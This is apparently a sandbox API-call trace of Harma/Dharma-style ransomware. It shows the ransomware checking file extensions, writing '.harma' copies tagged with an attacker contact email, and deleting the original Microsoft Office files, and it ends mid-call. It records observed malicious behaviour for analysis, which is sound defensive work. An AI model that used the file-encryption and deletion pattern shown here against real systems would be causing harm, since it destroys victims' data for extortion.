[0167.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.713] lstrlenW (lpString=".zip") returned 4 [0167.713] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.713] lstrlenW (lpString=".rar") returned 4 [0167.713] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.713] lstrlenW (lpString=".bz2") returned 4 [0167.713] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.713] lstrlenW (lpString=".7z") returned 3 [0167.713] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.713] lstrlenW (lpString=".dbf") returned 4 [0167.713] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.713] lstrlenW (lpString=".1cd") returned 4 [0167.713] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.713] lstrlenW (lpString=".jpg") returned 4 [0167.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.714] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.714] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0167.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.714] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=14208) returned 1 [0167.714] CloseHandle (hObject=0x384) returned 1 [0167.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll")) returned 0x20 [0167.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0167.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0167.715] lstrlenW (lpString=".doc") returned 4 [0167.715] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.715] lstrlenW (lpString=".docx") returned 5 [0167.715] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0167.715] lstrlenW (lpString=".pdf") returned 4 [0167.715] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.715] lstrlenW (lpString=".xls") returned 4 [0167.715] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.715] lstrlenW (lpString=".xlsx") returned 5 [0167.715] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0167.715] lstrlenW (lpString=".ppt") returned 4 [0167.715] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0167.715] lstrlenW (lpString=".zip") returned 4 [0167.715] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.716] lstrlenW (lpString=".rar") returned 4 [0167.716] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.716] lstrlenW (lpString=".bz2") returned 4 [0167.716] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.716] lstrlenW (lpString=".7z") returned 3 [0167.716] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0167.716] lstrlenW (lpString=".dbf") returned 4 [0167.716] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.723] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.723] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0167.949] GetLastError () returned 0x0 [0167.949] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x7df6, lpOverlapped=0x0) returned 1 [0167.976] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x7e00, lpOverlapped=0x0) returned 1 [0167.977] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.977] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0167.977] SetEndOfFile (hFile=0x38c) returned 1 [0167.977] CloseHandle (hObject=0x38c) returned 1 [0167.977] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.977] SetEndOfFile (hFile=0x384) returned 1 [0167.980] CloseHandle (hObject=0x384) returned 1 [0167.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 1 [0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.981] lstrlenW (lpString=".doc") returned 4 [0167.981] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.981] lstrlenW (lpString=".docx") returned 5 [0167.981] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0167.982] lstrlenW (lpString=".pdf") returned 4 [0167.982] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".xls") returned 4 [0167.982] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".xlsx") returned 5 [0167.982] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0167.982] lstrlenW (lpString=".ppt") returned 4 [0167.982] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString=".zip") returned 4 [0167.982] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".rar") returned 4 [0167.982] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".bz2") returned 4 [0167.982] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".7z") returned 3 [0167.982] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString=".dbf") returned 4 [0167.982] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString=".1cd") returned 4 [0167.982] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString=".jpg") returned 4 [0167.982] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.982] lstrlenW (lpString=".doc") returned 4 [0167.982] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.982] lstrlenW (lpString=".docx") returned 5 [0167.983] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0167.983] lstrlenW (lpString=".pdf") returned 4 [0167.983] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString=".xls") returned 4 [0167.983] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString=".xlsx") returned 5 [0167.983] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0167.983] lstrlenW (lpString=".ppt") returned 4 [0167.983] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.983] lstrlenW (lpString=".zip") returned 4 [0167.983] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString=".rar") returned 4 [0167.983] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString=".bz2") returned 4 [0167.983] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString=".7z") returned 3 [0167.983] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.983] lstrlenW (lpString=".dbf") returned 4 [0167.983] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.983] lstrlenW (lpString=".1cd") returned 4 [0167.983] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0167.983] lstrlenW (lpString=".jpg") returned 4 [0167.983] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.984] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.984] lstrlenW (lpString="MSART14.BDR") returned 11 [0167.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.985] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=51388) returned 1 [0167.985] CloseHandle (hObject=0x384) returned 1 [0167.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0167.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.985] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.985] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0167.986] GetLastError () returned 0x0 [0167.986] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xc8bc, lpOverlapped=0x0) returned 1 [0168.174] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xc8c0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xc8c0, lpOverlapped=0x0) returned 1 [0168.176] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.176] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.176] SetEndOfFile (hFile=0x38c) returned 1 [0168.176] CloseHandle (hObject=0x38c) returned 1 [0168.176] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.177] SetEndOfFile (hFile=0x384) returned 1 [0168.179] CloseHandle (hObject=0x384) returned 1 [0168.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 1 [0168.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.181] lstrlenW (lpString=".doc") returned 4 [0168.181] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.181] lstrlenW (lpString=".docx") returned 5 [0168.181] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0168.181] lstrlenW (lpString=".pdf") returned 4 [0168.181] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.181] lstrlenW (lpString=".xls") returned 4 [0168.181] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.181] lstrlenW (lpString=".xlsx") returned 5 [0168.181] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0168.181] lstrlenW (lpString=".ppt") returned 4 [0168.181] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString=".zip") returned 4 [0168.182] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.182] lstrlenW (lpString=".rar") returned 4 [0168.182] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.182] lstrlenW (lpString=".bz2") returned 4 [0168.182] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.182] lstrlenW (lpString=".7z") returned 3 [0168.182] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString=".dbf") returned 4 [0168.182] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString=".1cd") returned 4 [0168.182] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString=".jpg") returned 4 [0168.182] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.182] lstrlenW (lpString=".doc") returned 4 [0168.183] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".docx") returned 5 [0168.183] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0168.183] lstrlenW (lpString=".pdf") returned 4 [0168.183] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".xls") returned 4 [0168.183] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".xlsx") returned 5 [0168.183] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0168.183] lstrlenW (lpString=".ppt") returned 4 [0168.183] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.183] lstrlenW (lpString=".zip") returned 4 [0168.183] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".rar") returned 4 [0168.183] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".bz2") returned 4 [0168.183] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString=".7z") returned 3 [0168.183] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.183] lstrlenW (lpString=".dbf") returned 4 [0168.183] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.183] lstrlenW (lpString=".1cd") returned 4 [0168.184] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0168.184] lstrlenW (lpString=".jpg") returned 4 [0168.184] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.184] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.184] lstrlenW (lpString="MSART6.BDR") returned 10 [0168.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.185] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=55222) returned 1 [0168.185] CloseHandle (hObject=0x384) returned 1 [0168.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0168.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.185] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.186] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0168.270] GetLastError () returned 0x0 [0168.270] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xd7b6, lpOverlapped=0x0) returned 1 [0168.274] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd7c0, lpOverlapped=0x0) returned 1 [0168.276] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.276] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.276] SetEndOfFile (hFile=0x38c) returned 1 [0168.276] CloseHandle (hObject=0x38c) returned 1 [0168.279] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.279] SetEndOfFile (hFile=0x384) returned 1 [0168.282] CloseHandle (hObject=0x384) returned 1 [0168.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.363] lstrlenW (lpString=".doc") returned 4 [0168.363] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".docx") returned 5 [0168.363] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0168.363] lstrlenW (lpString=".pdf") returned 4 [0168.363] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".xls") returned 4 [0168.363] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".xlsx") returned 5 [0168.363] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0168.363] lstrlenW (lpString=".ppt") returned 4 [0168.363] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.363] lstrlenW (lpString=".zip") returned 4 [0168.363] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".rar") returned 4 [0168.363] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".bz2") returned 4 [0168.363] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.363] lstrlenW (lpString=".7z") returned 3 [0168.363] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.363] lstrlenW (lpString=".dbf") returned 4 [0168.364] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.364] lstrlenW (lpString=".1cd") returned 4 [0168.364] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.364] lstrlenW (lpString=".jpg") returned 4 [0168.364] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0168.364] lstrlenW (lpString=".doc") returned 4 [0168.364] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString=".docx") returned 5 [0168.364] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0168.364] lstrlenW (lpString=".pdf") returned 4 [0168.364] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.364] lstrlenW (lpString=".xls") returned 4 [0168.364] lstrcmpiW (lpString1=".xls", 